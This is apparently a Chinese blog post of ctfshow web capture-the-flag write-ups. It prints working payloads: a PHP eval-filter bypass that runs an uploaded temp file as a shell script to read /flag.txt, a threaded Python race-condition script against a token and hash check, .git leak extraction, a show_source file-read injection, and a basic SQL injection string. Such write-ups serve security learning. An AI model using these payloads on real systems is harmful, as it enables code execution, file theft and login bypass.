ctfshow web

作者 : admin 本文共2556个字,预计阅读时间需要7分钟 发布时间: 2024-06-10 共9人阅读

红包题第二弹

<?php
        if(isset($_GET['cmd'])){
            $cmd=$_GET['cmd'];
            highlight_file(__FILE__);
            if(preg_match("/[A-Za-oq-z0-9$]+/",$cmd)){
            
                die("cerror");
            }
            if(preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/",$cmd)){
                die("serror");
            }
            eval($cmd);
        
        }
    
     ?>

这里补充一个之前做题遇到过的姿势

就是?><?=`ls`   是等同于  system('ls')的,我在之前做题的时候遇到过,前面的?>是用来闭合之前的php语句
PHP语句后面不闭合也是可以执行的所以命令等同

这里过滤了所有大小写除了p?这个通配符

这里引用某个师傅的原话
php的上传接受multipart/form-data,然后会将它保存在临时文件中。php.ini中设置的upload_tmp_dir就是这个临时文件的保存目录。linux下默认为/tmp。也就是说,只要是php接收到上传的POST请求,就会保存一个临时文件,如何这个php脚本具有“上传功能”那么它将拷贝走,无论如何当脚本执行结束这个临时文件都会被删除。另外,这个php临时文件在linux系统下的命名规则永远是php**.tmp

那么我们想在的目的就是访问/tmp/phpxxxxxx来读取文件

linux .(点命令):读取并且在当前的shell中执行文件中的命令
这里用p师傅的话讲的话,.file是用bash来执行file文件中的命令,而且这种操作是不需要file有x权限

ctfshow web插图

GET?cmd=?><?=`.+/??p/p?p??????`;
POST#! /bin/bash

cat /flag.txt
前面也说到了我们是利用bash

红包题第六蛋

查看源码发现个md5
ctfshow web插图(1)
没啥用
扫后台
ctfshow web插图(2)
很明显web.zip有东西

function receiveStreamFile($receiveFile){
$streamData = isset($GLOBALS['HTTP_RAW_POST_DATA'])? $GLOBALS['HTTP_RAW_POST_DATA'] : '';
if(empty($streamData)){
$streamData = file_get_contents('php://input');
}
if($streamData!=''){
$ret = file_put_contents($receiveFile, $streamData, true);
}else{
$ret = false;
}
return $ret;
}
if(md5(date("i")) === $token){
$receiveFile = 'flag.dat';
receiveStreamFile($receiveFile);
if(md5_file($receiveFile)===md5_file("key.dat")){
if(hash_file("sha512",$receiveFile)!=hash_file("sha512","key.dat")){
$ret['success']="1";
$ret['msg']="人脸识别成功!$flag";
$ret['error']="0";
echo json_encode($ret);
return;
}
$ret['errormsg']="same file";
echo json_encode($ret);
return;
}
$ret['errormsg']="md5 error";
echo json_encode($ret);
return;
} 
$ret['errormsg']="token error";
echo json_encode($ret);
return;

首先我们要使得传入值md5与key.dat相等直接访问发现可以下载那么我们就使用这个文件绕过了
要让i等于token,并且要在短时间内替换文件$receiveFile
这里用一个python脚本达到目的
ctfshow web插图(3)

import requests
import time
import hashlib
import threading
# 用分钟因为token会以分钟为节点变化
i = str(time.localtime().tm_min)
# 利用算法生成token
m = hashlib.md5(i.encode()).hexdigest()
url = "http://82797b0d-dd85-49b2-94d5-03e67c720e82.challenge.ctf.show/check.php?token={}&php://input".format(m)
def POST(data):
try:
r = requests.post(url, data=data)
if "ctfshow" in r.text:
print(r.text)
pass
pass
except Exception as e:
print("something went wrong!")
pass
pass
with open('key.dat', 'rb') as t:
data1 = t.read()
pass
for i in range(1, 50):
threading.Thread(target=POST, args=(data1,)).start()
for i in range(1, 50):
data2 = 'baozongwi'
threading.Thread(target=POST, args=(data2,)).start()

红包题第七蛋

本来想扫后台的但是我dirsearch突然变的很慢根本扫不出来于是直接盲猜.git泄露

python GitHack.py https://5827c679-1933-44e8-815c-5b19c75a65a3.challenge.ctf.show/.git

ctfshow web插图(4)

ctfshow web插图(5)
ctfshow web插图(6)

传参Letmein=show_source('/var/www/flag.txt');
ctfshow web插图(7)

萌新专属红包题

先试一下万能密码没什么用

' or 1=1#

扫后台没有发现有用的文件
试了一下爆破

username=admin
password=admin888

ctfshow web插图(8)

本站无任何商业行为
个人在线分享 » ctfshow web
E-->